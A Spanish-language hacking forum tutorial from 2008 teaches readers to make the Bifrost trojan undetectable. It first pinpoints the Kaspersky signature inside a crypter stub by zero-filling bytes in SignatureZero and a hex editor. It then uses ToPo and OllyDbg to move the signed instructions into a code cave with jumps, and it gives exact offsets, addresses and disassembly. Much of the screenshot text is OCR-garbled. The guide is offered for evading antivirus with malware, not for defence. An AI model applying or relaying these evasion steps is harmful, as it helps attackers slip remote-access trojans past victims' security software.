# HOW TO: HACER TU TROYANO FAVORITO INDETECTABLE SIN MORIR EN EL INTENTO

BY OCTALH 08/02/08



ATENCION: Este manual así como su autor NO se hacen responsable en ningún caso de ningún daño que se pudiera causar a un tercero por la lectura de este manual, como consecuencia del uso ilegal o inadecuado del mismo, ni como consecuencia de los contenidos e informaciones accesibles o facilitadas a través de ella, ni de los sitios vinculados a la misma. Los responsables serán los usuarios o terceros causantes de los daños. Hola una ves mas a toda la comunidad, en esta ocasión quiero hacer el siguiente aporte debido a la constancia con la que veo en distintos foros infinidad de mensajes pidiendo algún método EFECTIVO a la hora de hacer sus aplicaciones favoritas indetectables.

Por desgracia casi no existe buena documentación o en su defecto se encuentra inconclusa o bastante confusa.

Bueno... dejando todo eso de lado espero que disfrutes esta guía y le saques provecho. A decir verdad llevo utilizando esta técnica un par de años y hasta ahora me sigue siendo funcional.

Dices que podré hacer indetectable lo que quiera pero como funciona tal método?

Bien, en si solo bastara con dar un rápido análisis de cómo opera nuestro enemigo, en este caso nuestro enemigo es el ANTIVIRUS.

Los antivirus funcionan de dos formas: uno es el método de detección por firmas digitales, y el segundo es por sistemas de protección heurística.

El primer método, el más común de todos y es el que vamos a aprender a burlar, se basa en el siguiente procedimiento.

Todos los AV (antivirus) tienen bases de datos que tienen que actualizarse todos los días, estos datos que descarga de los laboratorios son las firmas digitales, y por supuesto se encuentran cifradas para que ni tú ni yo podamos interpretarlas. Las firmas contienen muestras de código, es decir tienen una base de datos con miles de "cadenas de código" que identifican a un virus, es como nuestro código de ADN en los humanos.

De esa forma cuando un antivirus realiza un escaneo, lo que hace realmente es buscar esas cadenas de código dentro del archivo, si contiene alguna cadena que se encuentre en sus bases de datos inmediatamente dará una alarma informando que tienes un virus en tu sistema.

Hasta aquí creo que quedo bastante claro en que se basa el método de firmas.

Para el segundo caso que es el sistema de protección Heurística, que permite detectar virus SIN firmas, es decir no realiza esa búsqueda de cadenas de código dentro del archivo, lo que hace es algo mas inteligente, ejecuta el código sin comprometer a tu sistema y analiza el resultado, de esa forma no le importa como esta conformado dicho archivo sino la acción que realiza, si el antivirus detecta que la acción abre algún puerto o intenta inyectarse en un proceso o alterar el sistema operativo, dará un aviso de alarma.

Bien ahora que sabemos como funciona un antivirus podemos aprender a burlarlo, no importa realmente que antivirus uses, todos funcionan igual, así que nunca estarás protegido realmente, lo recomendable si quieres tener un extra de seguridad es utilizar sistemas operativos mas seguros como GNU/Linux o en su defecto MAC.

Ahora que ya aprendimos que los antivirus no son más que software "tonto" realizando búsquedas inútiles dentro de un archivo, seguro estarán pensando, pues entonces esta bastante fácil solo tendremos que encontrar esas firmas y modificarlas un poco.

Si eso fue lo que pensaste estas en lo correcto, es así de fácil, no hay más misterio más que encontrar esas firmas y cambiarlas un poco, con eso bastara para que el antivirus deje de detectarlas como virus.

Pero aquí te puedes enfrentar a dos problemas si no tienes la documentación correcta, uno es como encontrar las firmas y dos como modificarlas correctamente.

Antes de continuar quiero informarte que este método requiere de tiempo, pues es un poco laborioso pero bastante efectivo, para que no tengas que repetir este proceso una y otra ves con diferentes troyanos lo que haremos será hacer indetectable un "crypter", los crypter son programas que utilizan un algoritmo para cifrar el código de un programa, quiere decir que encriptan tu aplicación y además contienen la información adecuada de cómo desencriptarla, esta sección donde se indica al sistema como debe trabajar con dicha aplicación cifrada y las instrucciones para descifrarla se encuentran en el STUB del crypter.

Cuando tengamos nuestro crypter indetectable podremos hacer indetectable CUALQUIER COSA, sin necesidad de volver a repetir el proceso que haremos a continuación.

Para esta guía utilizaremos el crypter X-Crypter.exe y el conocido troyano Bifrost. y el antivirus kaspersky (KAV)

#### Material necesario:



# [Bifrost / Hex Workshop / OLLYDBG / Zignature zero / X-Crypter / Topo ]

Lo primero será encontrar la firma, podríamos hacerlo manualmente con el editor HEX pero tardaríamos varias horas haciéndolo, por lo que nosotros utilizaremos la herramienta ZignatureZero programada por el mismísimo Thor.

Bien manos a la obra, al ejecutar el programa nos encontraremos con la siguiente pantalla:

\overline 50 SignatureZero - [ Indete	ectables.Com.Ar ] - [ By Thor] -	- • ×
Abrir archivo Desd Guardar archivo Probar deteccion Para esta opcion debes act Probar	e 0 1 hasta: 0 1 Rellenar con 0's Deshacer Cambios	About Firmae Buscar firmas En todo el archivo Entre los marcadores Frear archivos Mostrar firmas Se crearan las variantes del archivo con un byte modificado en cada posicion, una vez creadas tendras que escanear el directorio con tu AV y dar a mostrar firmas.  Intentar Buscar Se buscaran las firmas usando la proteccion en tiempo real de tu AV
Levenda Cabezera PE Parte original Parte rellena de 0's	Opciones Decimal Hexadecimal Borrar contenido de Di Directorio donde guardar las partes temporales: Cambiar D D:\RIT\prueba crypter\Temp\ Mi AV permite excluir el directorio de SignatureZero	r g r u p a Salvar a txt Borrar

Damos clic en Abrir archivo y seleccionamos el archivo Stub de nuestro crypter.

SignatureZero - [ stub.e	exe ]	
Abrir archivo Desde Guardar archivo Probar detección Para esta opción debes acti Probar	e 1024 E hasta: 10240 E Rellenar con 0's Deshacer Cambios	About Firmas Buscar firmas C En todo el archivo Entre los marcadores Frear archivos Mostrar firmas Se crearan las variantes del archivo con un byte modificado en cada posicion, una vez creadas tendras que escanear el directorio con tu AV y dar a mostrar firmas.  Intentar Buscar Se buscaran las firmas usando la proteccion en tiempo real de tu AV Firmas
Levenda Cabezera PE Parte original Parte rellena de 0's	Decimal Carbon Hexadecimal Borrar contenido de Directorio donde guardar las partes temporales: Cambia D:\RIT\prueba crypter\Temp\ Mi AV permite excluir el directorio de SignatureZero	Dir r Dir n Dir a Salvar a txt Borrar

Como pudiste observar la barra superior se relleno de color naranja y verde, lo de color naranja es la cabecera PE y no la tocaremos puesto que esa es solo información que le indica al Sistema Operativo como debe trabajar dicho archivo, lo verde es la representación visual del tamaño del archivo, lo que haremos será ir acorralando la firma hasta que la encontremos, para conseguirlo llenaremos de ceros una mitad, y guardaremos el archivo, procederemos a escanearlo y si deja de detectar como virus nuestra aplicación, quiere decir que borramos la mitad donde se encontraba la firma, entonces tenemos que regresar los cambios presionando en el botón Deshacer Cambios.

률 SignatureZero - [ stub.e	exe ]	- 0 ×
Abrir archivo Desde Guardar archivo Probar detection Para esta opcion debes act Probar	e 5388 () hasta: 10240 () Rellenar con 0's Deshacer Cambios	About Firma: Buscar firmas C En todo el archivo Entre los marcadores Frear archivos Mostrar firmas Se crearan las variantes del archivo con un byte modificado en cada posicion, una vez creadas tendras que escanear el directorio con tu AV y dar a mostrar firmas. Intentar Buscar Se buscaran las firmas usando la proteccion en tiempo real de tu AV Firmas:
Levenda Cabezera PE Parte original Parte rellena de 0's	Decimal      Hexadecimal     Borrar contenido de Dir     Directorio donde guardar las partes temporales:     Cambiar Dir     D:\RIT\prueba crypter\Temp\     Mi AV permite excluir el directorio de SignatureZero	g r u p a Salvar a txt Borrar



🔏 Scan : co	mpleted	_	_	_	
	No threats o	letected			
	Scanned:	1	Start time:	08/02/2008 06:39:34 p.m.	
× .	Detected:	0	Duration:	unknown	
	Untreated:	0	Finish time:	08/02/2008 06:39:34 p.m.	

Después de deshacer los cambios, ahora rellene de ceros la mitad de la izquierda, guarde los cambios y volví a escanear el archivo, pero esta ves el antivirus si dio alarma.

🧕 SignatureZero - [ stub.e	exe]	_ = ×
Abrir archivo Desd Guardar archivo Probar deteccion Para esta opcion debes act Probar	e 1024 (1) hasta: 5318 (1) Relenar con 0's Deshacer Cambios	About Finna: Buscar firmas C En todo el archivo Entre los marcadores Crear archivos Mostrar firmas Se crearan las variantes del archivo con un byte modificado en cada posicion, una vez creadas tendras que escanear el directorio con tu AV y dar a mostrar firmas. Intentar Buscar Se buscaran las firmas usando la proteccion en tiempo real de tu AV Firmas:
Levenda Cabezera PE Parte original Parte rellena de 0's	Operimal      Hexadecimal     Borrar contenido de Dir     Directorio donde guardar las partes temporales:     Cambiar Dir     D:\RIT\prueba crypter\Temp\     Mi AV permite excluir el directorio de SignatureZero	g r u p a Salvar a txt Borrar

	Threats have	e been d	etected!		
<b>&gt;</b>	Scanned:	1	Start time:	08/02/2008 06:44:44 p.m.	
	Detected:	1	Duration:	00:00:04	
	Untreated:	1	Finish time:	08/02/2008 06:44:48 p.m.	

Quiere decir que la firma se encuentra en la mitad de la derecha, pues a pesar de haber llenado de ceros toda la mitad de la izquierda la sigue detectando. Ya es un avance ahora seguiremos avanzando de izquierda a derecha hasta que deje de detectar como virus.

Como pueden ver en la imagen de abajo fui avanzando de izquierda a derecha y aproximadamente por el offset 6041 dejo de detectarme como virus, por lo que deshice los cambios y regrese un poco antes de que me dejara de detectar, ahora que ya sabemos aproximadamente donde inicia la firma ahora haremos lo mismo pero de derecha a izquierda para poder irla cerrando poco a poco.



Continué rellenando con ceros de derecha a izquierda y ahora ya tenemos una aproximación de donde esta la firma, pues hemos llenado prácticamente todo el ejecutable de ceros y el antivirus sigue detectando el archivo como virus

🜆 SignatureZero - [ stub.e	exe ]	- • ×
Abrir archivo Desd Guardar archivo Probar deteccion Para esta opcion debes act Probar	e 5948 : hasta: 6274 : Rellenar con 0's Deshacer Cambios	About Firmas Buscar firmas En todo el archivo Entre los marcadores Frear archivos Mostrar firmas Se crearan las variantes del archivo con un byte modificado en cada posicion, una vez creadas tendras que escanear el directorio con tu AV y dar a mostrar firmas.  Intentar Buscar Se buscaran las firmas usando la proteccion en tiempo real de tu AV Firmas:
Leyenda Cabezera PE Parte original Parte rellena de 0's	Opciones O Decimal O Hexadecimal Borrar contenido de Di Directorio donde guardar las partes temporales: Cambiar D D:\RIT\prueba crypter\Temp\ Mi AV permite excluir el directorio de SignatureZero	r iir p a Salvar a txt Borrar

Ahora utilizaremos el editor Hexadecimal para poder cercar aun mas la firma.

5	00001	70C	0000	0000	0000	0000	0000	0000	0000	0000	0000	0000	
ļ	00001	720	0000	0000	0000	0000	0000	0000	0000	0000	0000	0000	
1	00001	734	0000	0000	0000	0000	0000	0000	0000	0000	0000	0000	
2	00001	748	0000	0000	0000	0000	0000	006B	2300	1064	FF30	6489	k#d.Od.
200	00001	75C	2033	COSA	5959	6489	1068	7223	0010	C3E9	58F0	FFFF	3.ZYYdhr#X
200	00001	770	EBF8	5DC3	0600	0000	7C23	0010	341A	0010	041A	0010	] #4
2	00001	784	EC18	0010	A418	0010	6C1A	0010	3C1A	0010	C41A	0010	
200	00001	798	941A	0010	A41C	0010	741C	0010	0000	0000	4C23	0010	L#
200	00001	7AC	558B	ECB9	0800	0000	6A00	6A00	4975	F953	5657	B874	Uj.j.Iu.SVW.t
200	00001	7C0	2300	10E8	F8F5	FFFF	33C0	5568	F725	0010	64FF	3064	#3.Uh.%d.Od
200	00001	7D4	8920	8D4D	ECBA	1026	0010	B824	2600	10E8	C4F8	FFFF	M&\$&
1	00001	7E8	8B45	ECE8	68F3	FFFF	50E8	86F6	FFFF	8BD8	8D4D	E8BA	.EhPM
1000	00001	7FC	1026	0010	B83C	2600	10E8	A2F8	FFFF	8B45	E8E8	46F3	.&<&EF.
l	00001	810	FFFF	5053	E85B	F6FF	FF89	C68D	4DE4	BA10	2600	10B8	PS.[M&
l	00001	824	5426	0010	E87F	F8FF	FF8B	45E4	E823	F3FF	FF50	53FF	T&PS.
1000	00001	838	D6A3	3441	0010	8D4D	EOBA	1026	0010	B868	2600	10E8	4AM&h&
Ì	00001	84C	5CF8	FFFF	8B45	EOE8	00F3	FFFF	5053	FFD6	A338	4100	∖EPS8A.
	00001	860	108D	4DDC	BA10	2600	10B8	8000	0000	0000	0000	0000	M&
	00001	874	0000	0000	0000	0000	0000	0000	0000	0000	0000	0000	
	00001	888	0000	0000	0000	0000	0000	0000	0000	0000	0000	0000	
- 63	/												

Al abrir el archivo con el editor Hexadecimal podemos ver que todo el archivo esta lleno de ceros a excepción de esta parte que abarca desde el offset 1748 - 1874

Lo que haremos será tomar líneas y llenarlas de ceros, igual que con ZignatureZero, solo que aquí lo haremos primero de arriba hacia abajo, hasta que deje de detectarlo y luego de abajo hacia arriba hasta que tengamos la firma totalmente cercada

Para hacer eso solo seleccionamos las líneas que queremos llenar de ceros y presionamos CTRL+INSERT, y veremos la siguiente ventana, dejamos el cero y damos en OK.

0000	0000	0000	0000	0000	006B	2300	1064	FF30	6489	k#d.Od.
2033	COSA	5959	6489	1068	7223	0010	C3E9	58F0	FFFF	3.ZYYdhr#X
EBF8	5DC3	0600	0000	7C23	0010	341A	0010	041A	0010	] #4
EC18	0010	A418	0010	6C1A	0010	3C1A	0010	C41A	0010	
941A	0010	A41C	0010	741C	0010	0000	0000	4C23	0010	L#
558B	ECB9	0800	0000	6A00	6A00	4975	F953	5657	B874	Uj.j.Iu.SVW.t
2300	10E8	F8F5	FFFF	33C0	5568	F725	0010	64FF	3064	#3.Uh.%d.Od
8920	8D4D	ECBA	1026	0010	B824	2600	10E8	C4F8	FFFF	M&\$&
8B45	ECE8	68F3	FFFF	50E8	86F6	FFFF	8BD8	8D4D	E8BA	.EhPM
1026	0010	B83C	2600	10E8	A2F8	FFFF	8B45	E8E8	46F3	.&<&EF.
FFFF	5053	E85B	F6FF	FF89	C68D	4	Putoo			
5426	0010	E87F	F8FF	FF8B	45E4	E	bytes			PS.
D6A3	3441	0010	8D4D	EOBA	1026	d				×
5CF8	FFFF	8B45	EOE8	00F3	FFFF	5 Nu	mber of b	ites: [12	0	C Hex . 8A.
108D	4DDC	BA10	2600	10B8	8000	d 🔤	mber or by	103.	0	© Dec. <u>QK</u>
0000	0000	0000	0000	0000	0000	d —				
0000	0000	0000	0000	0000	0000	d —				Cancel
0000	0000	0000	0000	0000	0000	C Fill	with the fo	ollowing h	ev hute:	
0000	0000	0000	0000	0000	0000	d	marater	Shormign	on byto.	
0000	0000	0000	0000	0000	0000	d				
0000	0000	0000	0000	0000	0000	C T		Fills t	he Curren	t Selection
0000	0000	0000	0000	0000	0000	C		1 113 0	no ounon	
	0000	0000	0000	0000	0000	-				

Como se ve en la imagen de abajo nuestra selección se ha llenado de ceros y ahora procedemos a guardar los cambios y a escasear con el antivirus.

00001734	0000	0000	0000	0000	0000	0000	0000	0000	0000	0000	
00001748	0000	0000	0000	0000	0000	0000	0000	0000	0000	0000	
0000175C	0000	0000	0000	0000	0000	0000	0000	0000	0000	0000	
00001770	0000	0000	0000	0000	0000	0000	0000	0000	0000	0000	
00001784	0000	0000	0000	0000	0000	0000	0000	0000	0000	0000	
00001798	0000	0000	0000	0000	0000	0000	0000	0000	0000	0000	
000017AC	0000	0000	0000	0000	0000	0000	0000	0000	0000	0000	
00001700	0000	0000	0000	0000	baco	5568	F725	0010	64FF	3064	5 U b % 40 A
00001704	8920	8D4D	FCBA	1026	0010	B824	2600	1088	C4F8	7777	2⊃ 2 M
00001720	0720	EGEO	CORD	FEEE	CORO	DOZA	EEEE	0000	ODAD	FODA	
00001/50	0045	LCLO	60r 3	гггг	2050	0010	гггг	ουσο	6D4D	LODA	.cnP
000017FC	1026	0010	B83C	2600	10E8	A2F8	FFFF	8B45	E8E8	46F3	.&<&EF.
00001810	FFFF	5053	E85B	F6FF	FF89	C68D	4DE4	BA10	2600	10B8	PS.[M&
00001824	5426	0010	E87F	F8FF	FF8B	45E4	E823	F3FF	FF50	53FF	T&PS.
00001838	D6A3	3441	0010	8D4D	EOBA	1026	0010	B868	2600	10E8	4AM&h&
0000184C	5CF8	FFFF	8B45	E0E8	00F3	FFFF	5053	FFD6	A338	4100	\EPS8A.
00001860	108D	4DDC	BA10	2600	10B8	8000	0000	0000	0000	0000	м&
	0000	0000	0000	0000	0000	0000	0000	0000	0000	0000	

Bien a pesar de llenar de ceros esas líneas el archivo sigue siendo detectado, poco a poco tendremos esa firma.

	Threats have	e been d	etected!	
	Scanned:	1	Start time:	08/02/2008 07:35:28 p.m.
-	Detected:	1	Duration:	00:00:02
	Untreated:	1	Finish time:	08/02/2008 07:35:30 p.m.

Volvemos a repetir el método hasta cercar por completo la firma.



# POR FIN!!! FIRMA ENCONTRADA [ OFFSET 17DA-185A]

Ya encontramos la firma de KAV que abarca exactamente desde el

**OFFSET 17DA al 185A**, verdad que no fue tan difícil??, ahora que ya sabemos la ubicación exacta de la firma procederemos a modificarla. Quizás se te esta ocurriendo modificarla directamente desde el editor Hexadecimal, pero lamento decirte que las compañías de antivirus seleccionan las partes mas sensibles del programa, de forma que si modificas aunque sea un solo OFFSET, lo dejaras inservible en la mayoría de los casos. Por lo que dada la situación te informo que estas a punto de aprender el **METODO RIT.** 

Modificaremos la firma pero SIN alterar el flujo del programa, para eso utilizaremos una conocida herramienta llamada OLLY, que es un depurador en el cual podremos interpretar todo lo que vemos en el editor HEX en lenguaje ensamblador ASM, y de esa forma alteraremos las firmas pero sin echar a perder nuestro software.

Si ya estas listo manos a la obra.

Lo primero es abrir el programa Topo y crearemos un hueco con instrucciones nulas (NOP) en nuestro ejecutable que será donde introduciremos posteriormente trozos de la firma, si no me entiendes no te preocupes es bastante sencillo y no requieres de grandes conocimientos para poder hacerlo, prácticamente lo que haremos será tomar un trozo de código que se encuentre dentro de la firma, la movemos a el hueco que nos hizo topo y luego indicamos una instrucción al final para que regrese desde el punto original donde cortamos, de esa forma alteramos la firma por completo pero respetando el flujo del programa.



Bueno ahora procedemos a ejecutar topo y damos clic en Open, nos informa que todas las secciones del ejecutable serán escaneadas y damos en aceptar

ToPo v1.2 by MrCrim	All sectio	ns in file will	be scanned
Select file Open Bytes to be added: Sca		tar ( Bacl	Cancelar
Besult	Exec only	∏ Mak	e code writable
		Hole	Dolt
		Treip	Exit

Seleccionamos el archivo STUB.exe y ahora nos pregunta si queremos utilizar una sección dentro del ejecutable o crear una nueva, lo dejamos en la primera opción y damos OK.

	⊢ Select mode		
	You can add up to 486 bytes without changing file size. Choose what you want me to	s inside an ex	isting section
- 1	<ul> <li>Use an existing section (f</li> </ul>	ile size unch	anged)
ToP Select O	C Create a new section (file	e size increas	ed)
Bytes to	be added: Scan	I Back	kup file irect Entrypoint e code writable
	C Exec only	I MIGN	
Result	C Exec only	I Mak	Do Iti
Result	C Exec only	Help	Do Iti About

Bien ahora le indicamos la cantidad de bytes nulos a agregar, con 70 serán suficientes, pulsamos el botón Do It! Y nos toparemos con la siguiente ventana, en este paso es importante que copies la dirección de memoria que topo te dio, porque será donde ha metido todos esos NOP'S dentro del ejecutable, en este caso la dirección es: 1000701Ah.

Select file			
Open	Select a file		
Bytes to be added:	Scan	I▼ Back I⊤ Redi I⊤ Mak	kup file irect Entrypoint e code writable
Result: 70 bytes added	at:		Dolt
-memory address	: 1000701Ah	Help	About
-file offset:	0000221Ah	1	Foit

Presionamos Exit y ahora estamos listos para el último paso.

Ejecutamos el programa OLLYDBG y arrastramos hacia la ventana de OLLY nuestro archivo stub.exe, una ves hecho nos encontraremos con algo similar a esto.

CPU - main thread, mo	dule stub	
10002360         *         55           10002387         B90800000           10002387         B90800000           10002384         6A00           10002384         6A00           10002385         49           10002386         53           10002385         53           10002386         53           10002385         53           10002386         53           10002386         56           10002386         56           10002386         33C0           10002306         64:FF30           10002307         64:FF30           10002308         804D EC           10002309         B410260010           10002309         B448920           10002309         B4485 EC           10002309         B4485 EC           10002309         B440 EC           10002309         S845 EC           10002376         804D E8           10002376	PUSH EBP           MOV EBP, ESP           MOV EBP, ESP           MOV EBP, ESP           MOV ECX: 3           PUSH 0           DEC ECX:           UNZ SHORT stub.10002384           PUSH ESI           PUSH EDI           MOV EAX, stub.10002587           PUSH Stub.10002581           MOV DWORD PTR FS: LEAX]           MOV DWORD PTR FS: LEAX]           PUSH ESI           MOV EX, stub.10002604           CALL stub.10001758           PUSH EAX           LEA ECX.[LOCAL.63]           MOV EAX, stub.10002630           CALL stub.10001758           PUSH EAX           LEA ECX.[LOCAL.63]           MOV EAX, Stub.10001758           PUSH EAX           PUSH EAX           LEA ECX.[LOCAL.63]	Registers (FPU)           EAX 0000000 ECX 0012FF80 EDX 7C91EB94 ntdll.KiFastS EBX 7FFDE000 ESP 0012FF70 EDX 7C920738 ntdll.7C92073 EIP 100023AC stub.KModuleE C 0 ES 0023 32bit 0(FFFFF A 0 SS 0023 32bit 0(FFFFF S 0 FS 003B 32bit 0(FFFFF S 0 FS 0023 400 NULL D 0 0 0 LastErr ERROR_INVALID EFL 00000246 (N0,NB,E,BE,N ST0 empty 0.0 ST3 empty 0.0 ST3 empty 0.0 ST5 empty 0.0 ST5 empty 0.0 ST5 empty 0.0 ST5 empty 0.0 ST6 empty 0.0 ST6 empty 0.0 ST7 empty 0.0 ST6 empty 0.0 ST7 empty 0.0 ST0 000 Cond 0 0 0 0 Er FCW 027F Prec NEAR,53 Ma XMM0 0.0 XMM1 0.0 XMM1 0.0 XMM2 0.0 ST0 000 ST0 ST
POD-061-0FFFC           Rddress         Hex         dump           10003000         00         00         00         00         00         00           10003010         00         00         00         00         00         00         00           10003010         00         00         00         00         00         00         00           10003020         10         18         00         10 <td>30         00         00         00         00           18         00         10         34         7C316D4F         RETURN           18         00         10         34         9012FFC8         7C920738         ntdll           18         00         10         34         9012FFC0         FFFFFFF         9012FFC8         9012FFF6         900200000         9012FFF6         900200000         9012FFFF8         90023AC         9012FFF78</td> <td>SEH chain dler 132.7C816D4F (ModuleEntryPoint)</td>	30         00         00         00         00           18         00         10         34         7C316D4F         RETURN           18         00         10         34         9012FFC8         7C920738         ntdll           18         00         10         34         9012FFC0         FFFFFFF         9012FFC8         9012FFF6         900200000         9012FFF6         900200000         9012FFFF8         90023AC         9012FFF78	SEH chain dler 132.7C816D4F (ModuleEntryPoint)

Lo que estas viendo es el programa en lenguaje ensamblador y abajo en Hexadecimal, la diferencia es que aquí todos esos números y letras que veías están interpretados en un lenguaje, por lo cual no estaremos modificando a ciegas.

Lo siguiente es dar un clic con el botón derecho del Mouse en la ventana CPU y dar clic en view / executable file.

10002413 10002414 10002419	Search for Find references to		el32.GetProcAddress	>  ↓
4	View	×	Executable file	
Address	Copy to executable Analysis	* •	Relative address	RN to 1.7092

A continuación se abrirá una nueva ventana como la que se ve en la imagen de abajo

Una ves ubicados en la ventana que se abrió presionamos CTRL+G, que sirve para ir a algún punto dentro del ejecutable, en este caso le escribiremos el offset donde inicia la firma de kaspersky que es el 17DA, para posteriormente modificarla.



Una ves que presiones en el botón Ok serás enviado a la sección exacta donde se encuentra nuestra firma, das clic en la primer línea con botón derecho del Mouse y seleccionas la opción *view image in Dissambler*, eso nos acomoda en la ventana de CPU en la ubicación de la firma para su modificación.



Ahora vamos a elegir el pedazo de código que vamos a modificar, en este caso tomaremos las dos instrucciones MOV que se encuentran en la dirección de memoria:

```
100023FB MOV EDX
10002400 MOV EAX
                                                                        NOV EHX, LLUCHL.53
CALL stub.10001758
PUSH EAX
CALL <UMP.&kernel32.LoadLibraryA>
MOV EBX,EAX
LEA ECX, LLOCAL.61
MOV EDX,stub.10002630
CALL stub.10002630
CALL stub.100010AC
MOU EAX, LLOCAL.61
                                       8845 EC
E8 68F3FFFF
50
E8 86F6FFFF
                                              68F3FFFF
         iña
                               .
                                       8BD8
                                        8D4D
                                                   E8
                                      8040 E8
BR 10260010
B8 3C260010
E8 A2F8FFFF
8845 E8
E8 46F3FFFF
50
53
E8 5BF6FFFF
9972
      00023FB
        0002400
                                                                         CHLL STUD. 10001CHL
MOV EAX, LLOCAL.61
CALL stub.10001758
PUSH EAX
PUSH EBX
CALL <JMP.&kernel32.GetProcAddress>
MOUL FET EOY
        0002400
                   400
                  413
```

Vamos a copiarlas seleccionándolas y dando clic con botón derecho del Mouse en Binary /Binary copy



Ahora ya hemos copiado la instrucción que queremos mover de lugar, ahora para mandar ese pedazo al hueco que nos creo topo nos tenemos que dirigir a la dirección de memoria que topo nos dio, para eso presionamos CTRL+G y escribimos la dirección de memoria



Ahora te encontraras con todos los NOP'S que topo nos creo, que es lugar donde pegaremos el trozo de código que copiamos de las dos instrucciones MOV.

CPU - main thread,	module stub	
1000701A         90           1000701C         90           1000701C         90           1000701C         90           1000701C         90           1000701C         90           1000701F         90           10007020         90           10007021         90           10007022         90           10007023         90           10007024         90           10007025         90           10007027         90           10007028         90           10007029         90           10007027         90           10007028         90           10007028         90           10007028         90           10007029         90           10007028         90           10007028         90           10007029         90           10007021         90           10007022         90           10007031         90           10007033         90           10007034         90           10007035         90           10007034         90	NOP           NOP	

Para eso seleccionamos unos 6 NOP'S y damos clic derecho del Mouse binary / binary paste. Ahora y tenemos los dos MOV en el hueco, pero nos falta indicar la redirección de flujo, es decir indicarle al programa que lea este trozo de código y luego que regrese al punto original. Para eso apuntamos o nos memorizamos la dirección de memoria del primer MOV que en este caso es el 1000701C

10007012 10007013 10007014 10007015 10007015 10007017 10007017 10007018 10007018 10007019 10007019	00 00 00 00 00 00 00 90 90 90	DB 00 DB 00	
1000701C 10007021 10007026 10007028 10007028 10007029 10007028 1000702B 1000702C 1000702C 1000702C	89 10260010 88 90909090 90 90 90 90 90 90 90 90	MOV         EDX, stub.10002610           MOV         EAX, 90909090           NOP         NOP           NOP         NOP	

Ahora regresamos a donde estaban nuestros MOV originales y agregaremos un salto (JMP) a esta sección de código.

Para hacer eso damos doble clic en donde dice MOV y se abrirá la siguiente ventana.

00023C3 00023C3 00023C8 00023C8 00023C8 00023C8	. E8 F8F5FFFF . 33C0 . 55 . 68 F7250010 . 64:FF30	CALL stub.1000 XOR EAX,EAX PUSH EBP PUSH Stub.10002 PUSH DWORD PTR	25F7 FS([EAX]	Registers (FPU) EAX 00000000 ECX 0012FFB0 EDX 7C91EB94 ntdll.K EBX 7FFDE000 ESP 0012FFC4
00023D3 00023D6 00023D9	. 84:8920 . 8D4D EC . 8A 10260010 . 88 24260010	LEA ECX, MOU EDX, MOU EDX	emble at 100023FB	
00023E3 00023E8 00023E8	E8 C4F8FFFF     8B45 EC     E8 68F3FFFF	CALL stu MOV EAX, CALL stu	/ EDX.10002610	•
.00023F0 .00023F1 .00023F6 .00023F8 .00023F8	<ul> <li>50</li> <li>E8 86F6FFFF</li> <li>8BD8</li> <li>8D4D E8</li> <li>BA 10260010</li> </ul>	PUSH EAX CALL KUM MOV EBX, LEA ECX, MOU EDX,	ill with NOP's	Assemble Cancel
.0002400 .0002405	. E8 A2F8FFFF . 8B45 E8	CALL Stub. 1000 MOV EAX. CLOCAL	ICAC 61	EFL 00000246 (NO, NB, I

Ahora cambiamos ese valor por nuestra instrucción JMP 1000701C

Con esta instrucción le estamos indicando que de un salto a la parte donde nosotros pegamos las instrucciones MOV en el hueco donde están los NOP.

100023C3 100023C8 100023C8 100023CB 100023CB 100023D0 100023D3 100023D5 100023D5	E8 F8F5FFFF 33C0 55 68 F7250010 64:FF30 64:8920 8D4D EC 8P4 10260010	CALL stub.10001900 XOR EAX,EAX PUSH EBP PUSH stub.100025F7 PUSH DWORD PTR FS:[EAX] MOV DWORD PTR FS:[EAX],ESP LEA ECX,ELOCAL.51 MOV EDX,stub.10002610	EAX 000000 ECX 0012FF EDX 7C91EB EBX 7FFDE0 ESP 0012FF ESI FFFFF ESI FFFFFF EDI 7C9207
100023DE 100023E3 100023E8 100023E8 100023E8	. B8 24260010 . E8 C4F8FFFF . 8B45 EC . E8 68F3FFFF E8	MOV CALL MOV Assemble at 100023FB	
100023F1 100023F6 100023F8 100023F8	E8 86F6FFFF 8BD8 8D4D E8 BA 10260010	CALL MOU LEA MOU	
10002400 10002405 1000240A 1000240D	. B8 3C260010 . E8 A2F8FFFF . 8B45 E8 . E8 46F3FFFF	MOV CALL MOV CALL FOV	Assemble Can
10002412 10002413 10002414 10002419 10002418	53 E8 5BF6FFFF 89C6 8D4D E4	PUSH EBX CALL (JMP.&kernel32.GetProcAddress) MOV ESI,EAX LEA ECX,CLOCAL.73	ST1 empty ST2 empty ST3 empty ST4 empty ST5 empty

y una ves escrita la instrucción damos clic en Assamble

100023F81	1.1	8D4D E8	LEA ECX. CLUCAL. 6]	
100000000	71.63	E0 10400000	IND	
1000Z3FB	-	E9 1040000	JULE STUD. 1000/010	
10002400	12612	DO 00020010	MOLE EQV -+ 06 10002620	
10002400		DO 30200010	110V EHA, SCUD. 10002030	
100024051		EO OPEOFFFF	COLL stub 10001000	
100024031	•	LO HEPOPPER	CHEE STUD- TOOOTCHC	

Debió quedar como la imagen de arriba, ahora apuntamos la dirección de memoria que esta abajo del JMP

#### 10002400

Regresamos al hueco donde pusimos los MOV y hacemos lo mismo justo después del segundo MOV hacemos otro salto pero esta ves hacia la dirección de memoria 10002400, con esto cerraríamos el flujo y modificamos las firmas.



Damos clic en Assamble y nos quedara algo como esto



Bien ya hemos terminado de redireccionar el flujo y hemos alterado la firma del antivirus, ahora procederemos a guardar los cambios, para eso damos clic con botón derecho del Mouse y damos clic en copy to executable / all modifications, después le damos en copy all.



Lo mismo donde hicimos el otro salto



Y en la ventana file damos clic derecho y en backup / save data to file

000017FB - 00001800 00001805	E9 1C4C0000 B8 3C260010 E8 02E8FFFF	JMP 0000641C MOV EAX, 1000263C	J.exe		
0000180A	8845 E8 E8 46F3FFFF	Backup		Þ	Create backup
0001812	50	Сору		F	Load backup from file
0001814	E8 5BF6FFFF	Binary		×.	Save data to file
000181B	8040 E4	Assemble		1	
0001823	B8 54260010	Search for		ъ	
0001828	8845 E4	Save file			
0001830	50 50	Go to offset	Ctrl+G		
0001837 0001839 0001839	55 FFD6 A3 34410010 8040 F0	View image in Disassemble	r		

Y lo guardamos con otro nombre.

Save data to file					
Guardar en:	Cray	oter 1.2 S-B Version	•	+ 🗈 💣 🗉	•
Documentos recientes Escritorio Mis documentos Mi PC	Bifrost Bifrost.e Hex Wor CLLYDBO Signatur Stub.exe topo12.e	xe kshop 4.2 5.EXE eZero.exe exe exe er.exe			
Mis sitios de red	Nombre:	stub-modificado.exe			Guardar
	Tipo:	Executable file (*.exe)			Cancelar

